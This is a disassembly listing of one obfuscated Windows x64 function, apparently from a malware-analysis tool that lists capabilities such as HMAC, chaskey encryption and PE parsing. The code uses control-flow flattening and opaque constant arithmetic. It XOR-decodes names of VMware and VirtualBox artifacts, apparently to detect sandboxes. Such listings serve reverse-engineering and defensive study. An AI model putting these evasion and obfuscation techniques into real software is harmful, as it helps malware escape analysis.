Function at 0x14027e88d
Capabilities:
Authenticate hmac
Encrypt data using chaskey
Get common file path
Get file attributes
Hash data using murmur3
Manually build aes constants
Parse pe header

Disassembly:
push rax
pushf
mov eax, 0xcaf12967
pushf
not eax
add eax, 0xb1b72d32
xor eax, 0x86001dea
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xf908312a
xor eax, 0x8e32eae3
rol eax, 0x96
popf
pushf
not eax
add eax, 0xe85bbaa5
xor eax, 0xa9ca14b2
rol eax, 0xd6
popf
cmp eax, 4
jne 0x14027e8dd
popf
pop rax
jmp 0x14027f2c5
cmp eax, 0
jne 0x14027e8ec
popf
pop rax
jmp 0x14027ea81
cmp eax, 3
jne 0x14027e8fb
popf
pop rax
jmp 0x14027f21b
cmp eax, 1
jne 0x14027e90a
popf
pop rax
jmp 0x14027eba4
cmp eax, 0xd
jne 0x14027e919
popf
pop rax
jmp 0x140281eb6
cmp eax, 0x1a
jne 0x14027e928
popf
pop rax
jmp 0x140283c54
cmp eax, 0xe
jne 0x14027e937
popf
pop rax
jmp 0x140281f4d
cmp eax, 0xb
jne 0x14027e946
popf
pop rax
jmp 0x1402812a6
cmp eax, 0x19
jne 0x14027e955
popf
pop rax
jmp 0x140283b54
cmp eax, 8
jne 0x14027e964
popf
pop rax
jmp 0x1402801ab
cmp eax, 0x10
jne 0x14027e973
popf
pop rax
jmp 0x140282be8
cmp eax, 0x17
jne 0x14027e982
popf
pop rax
jmp 0x140283a75
cmp eax, 0x1c
jne 0x14027e991
popf
pop rax
jmp 0x140283d5f
cmp eax, 0x12
jne 0x14027e9a0
popf
pop rax
jmp 0x140283622
cmp eax, 0x18
jne 0x14027e9af
popf
pop rax
jmp 0x140283b0b
cmp eax, 0x11
jne 0x14027e9be
popf
pop rax
jmp 0x14028357a
cmp eax, 0x1b
jne 0x14027e9cd
popf
pop rax
jmp 0x140283cfc
cmp eax, 0x16
jne 0x14027e9dc
popf
pop rax
jmp 0x1402839a8
cmp eax, 0xa
jne 0x14027e9eb
popf
pop rax
jmp 0x1402807d0
cmp eax, 0x14
jne 0x14027e9fa
popf
pop rax
jmp 0x14028380b
cmp eax, 0xf
jne 0x14027ea09
popf
pop rax
jmp 0x140282b65
cmp eax, 0x13
jne 0x14027ea18
popf
pop rax
jmp 0x140283733
cmp eax, 0x15
jne 0x14027ea27
popf
pop rax
jmp 0x1402838f6
cmp eax, 2
jne 0x14027ea36
popf
pop rax
jmp 0x14027ec53
cmp eax, 6
jne 0x14027ea45
popf
pop rax
jmp 0x14027f91b
cmp eax, 0xc
jne 0x14027ea54
popf
pop rax
jmp 0x14028132a
cmp eax, 7
jne 0x14027ea63
popf
pop rax
jmp 0x140280127
cmp eax, 5
jne 0x14027ea72
popf
pop rax
jmp 0x14027f884
cmp eax, 9
jne 0x14027ea81
popf
pop rax
jmp 0x1402807c5
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x510]
sub rsp, 0x610
mov rax, qword [0x140103090]
xor rax, rsp
mov qword [rbp + 0x500], rax
mov edx, 0x11fb391c
pushf
not edx
add edx, 0x925e521c
xor edx, 0xcbc859de
rol edx, 0xd3
popf
pushf
not edx
add edx, 0xf7ae9558
xor edx, 0x885ab64a
rol edx, 0xad
popf
pushf
not edx
add edx, 0x9b2f4995
xor edx, 0xcaf85cf5
rol edx, 0xfc
popf
mov rax, qword gs:[0x58]
mov rcx, qword [rax]
mov eax, dword [rdx + rcx]
cmp dword [0x14010a7c0], eax
jle 0x14027eb5e
push rax
pushf
mov eax, 0x7f639f54
pushf
not eax
add eax, 0x9b2a075c
xor eax, 0x80513f19
rol eax, 0xf3
popf
pushf
not eax
add eax, 0x8f13476c
xor eax, 0x89c48fc9
rol eax, 0xf1
popf
pushf
not eax
add eax, 0x9b6efe95
xor eax, 0xd07e36df
rol eax, 0x75
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x190c0708
pushf
not eax
add eax, 0xf47243b6
xor eax, 0xfc4a119b
rol eax, 0xd7
popf
pushf
not eax
add eax, 0x89857a91
xor eax, 0x9743bf12
rol eax, 0x94
popf
pushf
not eax
add eax, 0x9e7a4e39
xor eax, 0xa7f2bb16
rol eax, 0xc2
popf
jmp 0x14027e8ce
lea rcx, [0x18f6f8ba8]
pushf
sub rcx, 0x4f5ee3e8
popf
call fcn.14033e388
cmp dword [0x14010a7c0], 0xffffffff
jne 0x14027ebfb
push rax
pushf
mov eax, 0xe4d3b3b2
pushf
not eax
add eax, 0xe2549930
xor eax, 0xe18d4009
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xc0e12301
xor eax, 0xd88907b6
rol eax, 0xcc
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x88e6b973
pushf
not eax
add eax, 0xf3a0aa0e
xor eax, 0xe2926a8f
rol eax, 1
popf
pushf
not eax
add eax, 0xc035cef0
xor eax, 0x8b5e5909
rol eax, 0x97
popf
pushf
not eax
add eax, 0xa6587057
xor eax, 0x9862b5be
rol eax, 2
popf
pushf
not eax
add eax, 0xa25e52e5
xor eax, 0xabcbe9b8
rol eax, 0xe5
popf
jmp 0x14027e8ce
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x14010a7a0], xmm0
mov qword [0x14010a7b0], rax
mov edx, 0x3c79abf0
pushf
not edx
add edx, 0x8d6aee8b
xor edx, 0xa57e02ec
rol edx, 0x89
popf
pushf
not edx
add edx, 0xca2c083e
xor edx, 0xe022f206
rol edx, 0xee
popf
pushf
not edx
add edx, 0xee3b5005
xor edx, 0x85507163
rol edx, 1
popf
pushf
not edx
add edx, 0x94c5a13b
xor edx, 0xb1c448b7
rol edx, 0x32
popf
mov word [rbp + 0x2b0], dx
mov ecx, 0xcaa354a1
pushf
not ecx
add ecx, 0xd75e8aeb
xor ecx, 0x96a19aa0
rol ecx, 0x27
popf
pushf
not ecx
add ecx, 0xa688b999
xor ecx, 0x99324c4b
rol ecx, 0x79
popf
mov eax, 0xdcceafe0
pushf
not eax
add eax, 0xcba64c4c
xor eax, 0x9d70ab21
rol eax, 0x60
popf
pushf
not eax
add eax, 0xbfd12bab
xor eax, 0xd27a5d59
rol eax, 0x4f
popf
pushf
not eax
add eax, 0x9e687c26
xor eax, 0xc9cbacce
rol eax, 0xdf
popf
mov word [rsp + 0x24], cx
mov word [rsp + 0x26], ax
mov word [rsp + 0x20], ax
movzx r12d, dx
movzx eax, word [str._vm3dum.dll]
xor ax, dx
mov word [rsp + 0x22], ax
movzx r13d, word [0x1400f234a]
xor r13w, dx
movzx edi, word [0x1400f234c]
xor di, dx
movzx ebx, word [0x1400f234e]
xor bx, dx
movzx r11d, word [0x1400f2350]
xor r11w, dx
movzx r10d, word [0x1400f2352]
xor r10w, dx
movzx r9d, word [0x1400f2354]
xor r9w, dx
movzx r8d, word [0x1400f2356]
xor r8w, dx
movzx edx, word [0x1400f2358]
xor dx, r12w
movzx ecx, word [0x1400f235a]
xor cx, r12w
movzx eax, word [0x1400f235c]
xor ax, r12w
mov r15d, 0x8568a34f
pushf
not r15d
add r15d, 0xe879ae4d
xor r15d, 0x8759888b
rol r15d, 0x5a
popf
pushf
not r15d
add r15d, 0xa0340378
xor r15d, 0x91a7ec61
rol r15d, 0xf0
popf
pushf
not r15d
add r15d, 0x9ea9c6ef
xor r15d, 0x919a70a1
rol r15d, 0x5d
popf
mov r14d, 0x79875db4
pushf
not r14d
add r14d, 0xc33877d0
xor r14d, 0x88796387
rol r14d, 0x83
popf
pushf
not r14d
add r14d, 0xb9ee2eaa
xor r14d, 0xabaa626b
rol r14d, 0xfd
popf
xor r15w, r14w
mov word [rbp + 0x2b2], r15w
mov r15d, 0xcb082e9e
pushf
not r15d
add r15d, 0xbac1074a
xor r15d, 0x871b340c
rol r15d, 0xe8
popf
pushf
not r15d
add r15d, 0x8592ac12
xor r15d, 0xe16604a9
rol r15d, 0xaa
popf
xor r15w, r14w
mov word [rbp + 0x2b4], r15w
mov r15d, 0xafbae656
pushf
not r15d
add r15d, 0xcd5e9d17
xor r15d, 0xade118be
rol r15d, 0xba
popf
pushf
not r15d
add r15d, 0xcc29690c
xor r15d, 0x934882d0
rol r15d, 0x2b
popf
pushf
not r15d
add r15d, 0xb4df9c51
xor r15d, 0xadfbea3f
rol r15d, 0x36
popf
xor r15w, r14w
mov word [rbp + 0x2b6], r15w
mov r15d, 0x52b15d6b
pushf
not r15d
add r15d, 0xfa4125cd
xor r15d, 0x8186a8a3
rol r15d, 0x4f
popf
pushf
not r15d
add r15d, 0x92aad1e9
xor r15d, 0x8a32eea8
rol r15d, 0x85
popf
pushf
not r15d
add r15d, 0xbb45e58c
xor r15d, 0xabdbdbdd
rol r15d, 0xa1
popf
xor r15w, r14w
mov word [rbp + 0x2b8], r15w
mov esi, 0xe1c9e794
pushf
not esi
add esi, 0xdb4f322a
xor esi, 0x8c1151ea
rol esi, 0x82
popf
pushf
not esi
add esi, 0xa293a963
xor esi, 0x936f4034
rol esi, 0x1b
popf
pushf
not esi
add esi, 0x813daaff
xor esi, 0xb6444720
rol esi, 0xc2
popf
xor si, r14w
mov word [rbp + 0x2ba], si
mov r15d, 0xf3fe894
pushf
not r15d
add r15d, 0xc3a93fe3
xor r15d, 0xc9bad264
rol r15d, 0x96
popf
pushf
not r15d
add r15d, 0x9fbd50d5
xor r15d, 0xcd8dd30d
rol r15d, 0xcc
popf
pushf
not r15d
add r15d, 0x860cc677
xor r15d, 0xec6978ed
rol r15d, 0x7f
popf
pushf
not r15d
add r15d, 0xd00ed776
xor r15d, 0x9b842175
rol r15d, 0xf7
popf
xor r15w, r14w
mov word [rbp + 0x2bc], r15w
mov esi, 0xe755131b
pushf
not esi
add esi, 0xc2af3795
xor esi, 0xf7e589a1
rol esi, 3
popf
pushf
not esi
add esi, 0xe9c54929
xor esi, 0x83c7da55
rol esi, 0x7f
popf
xor si, r14w
mov word [rbp + 0x2be], si
mov esi, 0xcc2a46f3
pushf
not esi
add esi, 0xb4c425a3
xor esi, 0xb6c62e95
rol esi, 0x34
popf
pushf
not esi
add esi, 0x8e2f135a
xor esi, 0xea892d51
rol esi, 0xe3
popf
xor si, r14w
mov word [rbp + 0x2c0], si
movzx esi, word [rsp + 0x24]
xor si, r14w
mov word [rbp + 0x2c2], si
movzx r14d, word [rsp + 0x26]
xor r14w, r12w
mov word [rbp + 0x2c4], r14w
movzx r15d, word [rsp + 0x20]
mov r14d, 0x87e23312
pushf
not r14d
add r14d, 0xe1a2e81d
xor r14d, 0xe8acc239
rol r14d, 0xfc
popf
pushf
not r14d
add r14d, 0xaa0e6383
xor r14d, 0xf34d1a99
rol r14d, 0x4b
popf
pushf
not r14d
add r14d, 0x9c4ba0bf
xor r14d, 0x85dc68a0
rol r14d, 0x79
popf
pushf
not r14d
add r14d, 0xdfa97f7d
xor r14d, 0xfd376a76
rol r14d, 0xd1
popf
xor r15w, r14w
mov word [rbp + 0x2c6], r15w
xor r12w, r14w
mov word [rbp + 0x2c8], r12w
movzx esi, word [rsp + 0x22]
xor si, r14w
mov word [rbp + 0x2ca], si
xor r13w, r14w
mov word [rbp + 0x2cc], r13w
xor di, r14w
mov word [rbp + 0x2ce], di
xor bx, r14w
mov word [rbp + 0x2d0], bx
xor r11w, r14w
mov word [rbp + 0x2d2], r11w
xor r10w, r14w
mov word [rbp + 0x2d4], r10w
xor r9w, r14w
mov word [rbp + 0x2d6], r9w
xor r8w, r14w
mov word [rbp + 0x2d8], r8w
xor dx, r14w
mov word [rbp + 0x2da], dx
xor cx, r14w
mov word [rbp + 0x2dc], cx
xor ax, r14w
mov word [rbp + 0x2de], ax
xor eax, eax
mov word [rbp + 0x2e0], ax
movups xmmword [rbp + 0x1b0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1c0], xmm1
lea rax, [rbp + 0x2b2]
mov r8, 0xffffffffffffffff
nop
push rax
pushf
mov eax, 0x31e1dd61
pushf
not eax
add eax, 0x8e30cdd7
xor eax, 0x828fe746
rol eax, 0xb
popf
pushf
not eax
add eax, 0xaa2e06fc
xor eax, 0xa7746805
rol eax, 7
popf
jmp 0x14027e8ce
inc r8
cmp word [rax + r8*2], 0
jne 0x14027f26c
push rax
pushf
mov eax, 0xbdc391b9
pushf
not eax
add eax, 0x942d8301
xor eax, 0xd43d9a51
rol eax, 0x65
popf
pushf
not eax
add eax, 0x90c1d1b7
xor eax, 0xaed30362
rol eax, 0x5a
popf
pushf
not eax
add eax, 0xfc863205
xor eax, 0xa8e294ce
rol eax, 0xdb
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0x9d77ef7c
pushf
not eax
add eax, 0xf09e8296
xor eax, 0xbdb5c35f
rol eax, 0xf
popf
pushf
not eax
add eax, 0xaf9c8a00
xor eax, 0xf89b48c1
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xb5327993
xor eax, 0x81df7e6b
rol eax, 0x26
popf
pushf
not eax
add eax, 0xf6a4ef7c
xor eax, 0xd90e796e
rol eax, 0x4f
popf
jmp 0x14027e8ce
lea rdx, [rbp + 0x2b2]
lea rcx, [rbp + 0x1b0]
call fcn.1401f6dc0
nop
mov ecx, 0xc5185263
pushf
not ecx
add ecx, 0x92b8f91f
xor ecx, 0xafed8744
rol ecx, 0x81
popf
pushf
not ecx
add ecx, 0xc4251b5b
xor ecx, 0x868ad75c
rol ecx, 0x28
popf
mov dword [rsp + 0x30], ecx
mov word [rsp + 0x58], cx
mov eax, 0x44c38c70
pushf
not eax
add eax, 0x9a8b85f0
xor eax, 0xf6253a37
rol eax, 0xf
popf
pushf
not eax
add eax, 0xfb69f72b
xor eax, 0xe777a646
rol eax, 0x77
popf
pushf
not eax
add eax, 0xac11b592
xor eax, 0xec525cda
rol eax, 0x5f
popf
mov dword [rsp + 0x28], eax
mov eax, 0x6aaf1dd2
pushf
not eax
add eax, 0xa209cced
xor eax, 0xb534e042
rol eax, 0xb
popf
pushf
not eax
add eax, 0xf92c7905
xor eax, 0x86b1a0f1
rol eax, 0xb8
popf
mov edx, 0x10beda77
pushf
not edx
add edx, 0xd799a9db
xor edx, 0xd56e4074
rol edx, 0x97
popf
pushf
not edx
add edx, 0x96125704
xor edx, 0xba90d4b1
rol edx, 0x98
popf
pushf
not edx
add edx, 0xc71e2bf4
xor edx, 0xbe2e134b
rol edx, 0x6a
popf
mov word [rsp + 0x22], dx
mov word [rsp + 0x20], ax
mov eax, 0x5435df4a
pushf
not eax
add eax, 0xf18f5041
xor eax, 0xff9c8dbe
rol eax, 0xd7
popf
pushf
not eax
add eax, 0xbb4828b1
xor eax, 0xa0056a3d
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xd683d0f6
xor eax, 0xbf702164
rol eax, 3
popf
mov word [rsp + 0x26], ax
movzx r14d, ax
movzx r15d, cx
movzx eax, word [str._vmGuestLib.dll]
xor ax, cx
mov word [rsp + 0x24], ax
movzx r12d, word [0x1400f2362]
xor r12w, cx
movzx edi, word [0x1400f2364]
xor di, cx
movzx ebx, word [0x1400f2366]
xor bx, cx
movzx r11d, word [0x1400f2368]
xor r11w, cx
movzx r10d, word [0x1400f236a]
xor r10w, cx
movzx r9d, word [reloc.WS2_32.dll_WSAStartup]
xor r9w, cx
movzx r8d, word [reloc.WS2_32.dll_WSACleanup]
xor r8w, cx
movzx edx, word [0x1400f2370]
xor dx, cx
movzx ecx, word [0x1400f2372]
xor cx, r15w
movzx eax, word [0x1400f2374]
xor ax, r15w
mov esi, 0xa5d7b6b
pushf
not esi
add esi, 0x82cde4a3
xor esi, 0x8b996508
rol esi, 0x6a
popf
pushf
not esi
add esi, 0xe15086b2
xor esi, 0x8e68127e
rol esi, 0xb5
popf
pushf
not esi
add esi, 0xf57542f5
xor esi, 0xe99ef927
rol esi, 0x82
popf
pushf
not esi
add esi, 0xc0acb854
xor esi, 0x9fac49bd
rol esi, 0xf7
popf
xor si, word [rsp + 0x30]
mov word [rsp + 0x5a], si
mov r13d, 0x316d7c25
pushf
not r13d
add r13d, 0xae1a09b8
xor r13d, 0xa2fb95b7
rol r13d, 0x54
popf
pushf
not r13d
add r13d, 0xafa171d2
xor r13d, 0xdb1c18ed
rol r13d, 0x18
popf
pushf
not r13d
add r13d, 0xa89857ff
xor r13d, 0xb3a44a48
rol r13d, 0xb0
popf
pushf
not r13d
add r13d, 0xd350c6fa
xor r13d, 0xc12e1df5
rol r13d, 0x23
popf
xor r13w, word [rsp + 0x30]
mov word [rsp + 0x5c], r13w
mov r13d, 0x959ffe0e
pushf
not r13d
add r13d, 0xe4047224
xor r13d, 0xdc4266df
rol r13d, 0xda
popf
pushf
not r13d
add r13d, 0xbd0274f8
xor r13d, 0x92b9de2c
rol r13d, 0x5b
popf
xor r13w, word [rsp + 0x30]
mov word [rsp + 0x5e], r13w
mov r13d, 0xa9859346
pushf
not r13d
add r13d, 0x93d36470
xor r13d, 0xdfc7cce5
rol r13d, 0x80
popf
pushf
not r13d
add r13d, 0xf37c91a1
xor r13d, 0xbdf256d4
rol r13d, 0x79
popf
xor r13w, word [rsp + 0x30]
mov word [rsp + 0x60], r13w
movzx r13d, word [rsp + 0x22]
xor r13w, word [rsp + 0x30]
mov word [rsp + 0x62], r13w
mov r13d, 0xcea018ec
pushf
not r13d
add r13d, 0xefafc9fe
xor r13d, 0xf6fd4b2b
rol r13d, 0x25
popf
pushf
not r13d
add r13d, 0xeb4a7163
xor r13d, 0xb4638d2e
rol r13d, 0x6f
popf
pushf
not r13d
add r13d, 0x83fec156
xor r13d, 0xe1850d1e
rol r13d, 0xef
popf
pushf
not r13d
add r13d, 0xff3d914e
xor r13d, 0xb32da856
rol r13d, 0x2f
popf
xor r13w, word [rsp + 0x30]
mov word [rsp + 0x64], r13w
movzx r13d, word [rsp + 0x20]
xor r13w, word [rsp + 0x30]
mov word [rsp + 0x66], r13w
mov r13d, 0x6031b1a1
pushf
not r13d
add r13d, 0xc88dbfe1
xor r13d, 0xd49533d7
rol r13d, 8
popf
pushf
not r13d
add r13d, 0xae9bbfc9
xor r13d, 0x81416b31
rol r13d, 0xc7
popf
pushf
not r13d
add r13d, 0xfffcdd66
xor r13d, 0xf19ebbc3
rol r13d, 0xfc
popf
xor r13w, word [rsp + 0x30]
mov word [rsp + 0x68], r13w
mov esi, 0xd77fa23a
pushf
not esi
add esi, 0xf15c8585
xor esi, 0xbd293e6b
rol esi, 0xdb
popf
pushf
not esi
add esi, 0x9a7aad4a
xor esi, 0xf952fe60
rol esi, 0xa6
popf
xor si, word [rsp + 0x30]
mov word [rsp + 0x6a], si
movzx esi, r14w
mov r13d, 0xbc31bbc7
pushf
not r13d
add r13d, 0x8989ec5f
xor r13d, 0xbd5b110d
rol r13d, 0x1c
popf
pushf
not r13d
add r13d, 0x8aecb6fa
xor r13d, 0xed70cc6c
rol r13d, 7
popf
pushf
not r13d
add r13d, 0xf3e4a190
xor r13d, 0xa5c0a988
rol r13d, 0xd7
popf
xor si, r13w
mov word [rsp + 0x6c], si
xor r14w, r13w
mov word [rsp + 0x6e], r14w
xor r15w, r13w
mov word [rsp + 0x70], r15w
movzx esi, word [rsp + 0x24]
xor si, r13w
mov word [rsp + 0x72], si
xor r12w, r13w
mov word [rsp + 0x74], r12w
xor di, r13w
mov word [rsp + 0x76], di
xor bx, r13w
mov word [rsp + 0x78], bx
xor r11w, r13w
mov word [rsp + 0x7a], r11w
xor r10w, r13w
mov word [rsp + 0x7c], r10w
xor r9w, r13w
mov word [rsp + 0x7e], r9w
xor r8w, r13w
mov word [rbp - 0x80], r8w
xor dx, r13w
mov word [rbp - 0x7e], dx
xor cx, r13w
mov word [rbp - 0x7c], cx
xor ax, r13w
mov word [rbp - 0x7a], ax
xor eax, eax
mov word [rbp - 0x78], ax
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1e0], xmm1
lea rax, [rsp + 0x5a]
mov r8, 0xffffffffffffffff
nop
push rax
pushf
mov eax, 0x7465c9fe
pushf
not eax
add eax, 0x80723d66
xor eax, 0xc3176784
rol eax, 0x3a
popf
pushf
not eax
add eax, 0x81e3b8c4
xor eax, 0x97a36461
rol eax, 0x74
popf
pushf
not eax
add eax, 0xf2d3a0cc
xor eax, 0xb586cded
rol eax, 0x19
popf
pushf
not eax
add eax, 0xe19c7885
xor eax, 0x98140148
rol eax, 0xc1
popf
jmp 0x14027e8ce
inc r8
cmp word [rax + r8*2], 0
jne 0x14027f8d5
push rax
pushf
mov eax, 0x68a32f3a
pushf
not eax
add eax, 0xdcc1be90
xor eax, 0xffba29dc
rol eax, 0x26
popf
pushf
not eax
add eax, 0xb7b34cf9
xor eax, 0xe2c7f016
rol eax, 0xda
popf
pushf
not eax
add eax, 0xf132157f
xor eax, 0xf080dd94
rol eax, 0x5a
popf
jmp 0x14027e8ce
push rax
pushf
mov eax, 0xc8df0d1b
pushf
not eax
add eax, 0xc235640a
xor eax, 0x90779a8c
rol eax, 0xab
popf
pushf
not eax
add eax, 0xd804b5a0
xor eax, 0xce91c155
rol eax, 0x7a
popf
pushf
not eax
add eax, 0xec94d06e
xor eax, 0xe06c0ee1
rol eax, 0x6e
popf
jmp 0x14027e8ce
lea rdx, [rsp + 0x5a]
lea rcx, [rbp + 0x1d0]
call fcn.1401f6dc0
nop
mov ecx, 0xbe59f720
pushf
not ecx
add ecx, 0xf18daa91
xor ecx, 0xb93ece6d
rol ecx, 0xf7
popf
pushf
not ecx
add ecx, 0xc4ea3ffd
xor ecx, 0xa83481c4
rol ecx, 0x6a
popf
pushf
not ecx
add ecx, 0x99e74219
xor ecx, 0xeced2b43
rol ecx, 0x7b
popf
pushf
not ecx
add ecx, 0x9feaba88
xor ecx, 0x81eb4fe0
rol ecx, 0xfa
popf
mov word [rbp - 0x30], cx
mov eax, 0xb942feb1
pushf
not eax
add eax, 0xadc5d483
xor eax, 0xbcb0efda
rol eax, 2
popf
pushf
not eax
add eax, 0xeb426d4f
xor eax, 0xca70a521
rol eax, 0xf3
popf
mov word [rsp + 0x22], ax
movzx eax, word [str._vmhgfs.dll]
xor ax, cx
mov word [rsp + 0x20], ax
movzx eax, word [0x1400f2382]
xor ax, cx
mov word [rsp + 0x26], ax
movzx r12d, word [0x1400f2384]
xor r12w, cx
mov word [rsp + 0x24], r12w
movzx r15d, word [0x1400f2386]
xor r15w, cx
movzx r14d, word [0x1400f2388]
xor r14w, cx
movzx esi, word [0x1400f238a]
xor si, cx
movzx edi, word [reloc.WS2_32.dll_WSAStartup]
xor di, cx
movzx ebx, word [0x1400f238e]
xor bx, cx
movzx r11d, word [0x1400f2390]
xor r11w, cx
movzx r10d, word [0x1400f2392]
xor r10w, cx
movzx r9d, word [0x1400f2394]
xor r9w, cx
movzx r8d, word [0x1400f2396]
xor r8w, cx
movzx edx, word [str.driversVBoxMouse.sys]
xor dx, cx
movzx ecx, word [0x1400f239a]
xor cx, 0x25
movzx eax, word [0x1400f239c]
xor ax, 0x25
mov r13d, 0x1ced1f92
pushf
not r13d
add r13d, 0xadd2c1d1
xor r13d, 0x8857d703
rol r13d, 0xf0
popf
pushf
not r13d
add r13d, 0xf9a10a0a
xor r13d, 0x84638857
rol r13d, 0xd8
popf
mov r12d, 0x4204d293
pushf
not r12d
add r12d, 0x96c25238
xor r12d, 0xec18984d
rol r12d, 0x48
popf
pushf
not r12d
add r12d, 0xa51126bd
xor r12d, 0xaf89f3f8
rol r12d, 0xb0
popf
pushf
not r12d
add r12d, 0x9704e88c
xor r12d, 0x820897eb
rol r12d, 0xe7
popf
xor r13w, r12w
mov word [rbp - 0x2e], r13w
mov r13d, 0xb53f2d29
pushf
not r13d
add r13d, 0xe29d7a67
xor r13d, 0xfd73dc91
rol r13d, 0x9a
popf
pushf
not r13d
add r13d, 0xed2b9898
xor r13d, 0xe981d916
rol r13d, 0x88
popf
pushf
not r13d
add r13d, 0xc0ae985f
xor r13d, 0xf373508e
rol r13d, 0xe7
popf
xor r13w, r12w
mov word [rbp - 0x2c], r13w
mov r13d, 0xe1c5e572
pushf
not r13d
add r13d, 0xbbbd2b9c
xor r13d, 0xa71d8efa
rol r13d, 0xdf
popf
pushf
not r13d
add r13d, 0xb82bc1d4
xor r13d, 0xcd8116a1
rol r13d, 0x43
popf
pushf
not r13d
add r13d, 0xbf216090
xor r13d, 0xf94862d4
rol r13d, 0x84
popf
pushf
not r13d
add r13d, 0xbfa2a601
xor r13d, 0xfcac97c0
rol r13d, 2
popf
xor r13w, r12w
mov word [rbp - 0x2a], r13w
mov r13d, 0x6e4b0f77
pushf
not r13d
add r13d, 0xc730abe7
xor r13d, 0xc45d9216
rol r13d, 0xd0
popf
pushf
not r13d
add r13d, 0xacb2e08a
xor r13d, 0x9d2943d1
rol r13d, 0x8d
popf
xor r13w, r12w
mov word [rbp - 0x28], r13w
mov r13d, 0xe6b1c8b3
pushf
not r13d
add r13d, 0xab1adbe4
xor r13d, 0xb3a859b3
rol r13d, 0xd7
popf
pushf
not r13d
add r13d, 0xdf95365b
xor r13d, 0xc6c8ea64
rol r13d, 0xfc
popf
pushf
not r13d
add r13d, 0xa8bdf41f
xor r13d, 0x930c7821
rol r13d, 0x97
popf
xor r13w, r12w
mov word [rbp - 0x26], r13w
mov r13d, 0xdd4ede5f
pushf
not r13d
add r13d, 0x9ed6cb61
xor r13d, 0xe0c8e2ac
rol r13d, 0xb7
popf
pushf
not r13d
add r13d, 0xf2eb9200
xor r13d, 0xb27fcb84
rol r13d, 4
popf
pushf
not r13d
add r13d, 0xa48fdf91
xor r13d, 0xc23dafc6
rol r13d, 0xda
popf
xor r13w, r12w
mov word [rbp - 0x24], r13w
mov r13d, 0x7b229427
pushf
not r13d
add r13d, 0x9817ae05
xor r13d, 0x8c0a07f9
rol r13d, 0xc0
popf
pushf
not r13d
add r13d, 0x9351902a
xor r13d, 0xdb4e8ad2
rol r13d, 0xf6
popf
pushf
not r13d
add r13d, 0xfe989add
xor r13d, 0xc8a25332
rol r13d, 0x9f
popf
xor r13w, r12w
mov word [rbp - 0x22], r13w
mov r13d, 0x85e88ce7
pushf
not r13d
add r13d, 0xc80d25aa
xor r13d, 0xb11397ba
rol r13d, 0x29
popf
pushf
not r13d
add r13d, 0xb81c51a4
xor r13d, 0xbea5df9a
rol r13d, 0xdc
popf
pushf
not r13d
add r13d, 0xe3edb07a
xor r13d, 0xc6782877
rol r13d, 0xc7
popf
xor r13w, r12w
mov word [rbp - 0x20], r13w
mov r13d, 0x2d1c84f0
pushf
not r13d
add r13d, 0x995bc5ce
xor r13d, 0xf7f82f9f
rol r13d, 0x9a
popf
pushf
not r13d
add r13d, 0xcf5a197f
xor r13d, 0xc7a2fbc1
rol r13d, 0xad
popf
xor r13w, r12w
mov word [rbp - 0x1e], r13w
mov r13d, 0xaf00088e
pushf
not r13d
add r13d, 0xc895faec
xor r13d, 0xac58cc44
rol r13d, 0x78
popf
pushf
not r13d
add r13d, 0xc84de529
xor r13d, 0xae981772
rol r13d, 0x5f
popf
xor r13w, r12w
mov word [rbp - 0x1c], r13w
mov r13d, 0xde5d7454
pushf
not r13d
add r13d, 0x848d1b56
xor r13d, 0x80331b68
rol r13d, 0xce
popf
pushf
not r13d
add r13d, 0x9655007d
xor r13d, 0xf2e0b3de
rol r13d, 0xcb
popf
pushf
not r13d
add r13d, 0xb940ef34
xor r13d, 0xe915aa85
rol r13d, 0x75
popf
xor r13w, r12w
mov word [rbp - 0x1a], r13w
mov r13d, 0xab621d3c
pushf
not r13d
add r13d, 0xc2d6bc55
xor r13d, 0xc86aefed
rol r13d, 0x5a
popf
pushf
not r13d
add r13d, 0xa2450c55
xor r13d, 0xa1c871cd
rol r13d, 0x46
popf
pushf
not r13d
add r13d, 0x9b0cc30d
xor r13d, 0xdad3ebf9
rol r13d, 0xa0
popf
xor r13w, r12w
mov word [rbp - 0x18], r13w
mov r12d, 0x4a86f582
pushf
not r12d
add r12d, 0x97cbf99e
xor r12d, 0xcc28ffab
rol r12d, 0x34
popf
pushf
not r12d
add r12d, 0xda4d8e24
xor r12d, 0x93227934
rol r12d, 0x5d
popf
pushf
not r12d
add r12d, 0x8af86b23
xor r12d, 0xd47d3e93
rol r12d, 0x6f
popf
pushf
not r12d
add r12d, 0xf27f5bb7
xor r12d, 0x969b956b
rol r12d, 0xda
popf
xor r12w, word [rsp + 0x28]
mov word [rbp - 0x16], r12w
mov r13d, 0x55b66347
pushf
not r13d
add r13d, 0xf08628dc
xor r13d, 0xa95ff965
rol r13d, 0x22
popf
pushf
not r13d
add r13d, 0xe790380f
xor r13d, 0x994f446e
rol r13d, 0x21
popf
mov r12d, 0x7afc80b8
pushf
not r12d
add r12d, 0xe8f1e1b6
xor r12d, 0xe2a62b17
rol r12d, 0x1f
popf
pushf
not r12d
add r12d, 0xf64f0682
xor r12d, 0x97d7119c
rol r12d, 0x87
popf
pushf
not r12d
add r12d, 0x840ac6de
xor r12d, 0xcad23e55
rol r12d, 0xbe
popf
xor r13w, r12w
mov word [rbp - 0x14], r13w
movzx r13d, word [rsp + 0x22]
xor r13w, r12w
mov word [rbp - 0x12], r13w
movzx r13d, r12w
xor r13w, r12w
mov word [rbp - 0x10], r13w
movzx r13d, word [rsp + 0x20]
xor r13w, r12w
mov word [rbp - 0xe], r13w
movzx r13d, word [rsp + 0x26]
xor r13w, r12w
mov word [rbp - 0xc], r13w
movzx r12d, word [rsp + 0x24]
mov r13d, 0xd3154a21
pushf
not r13d
add r13d, 0xad4cb915
xor r13d, 0xaf28c14c
rol r13d, 0x92
popf
pushf
not r13d
add r13d, 0xa404c6b0
xor r13d, 0xc05e6369
rol r13d, 0x75
popf
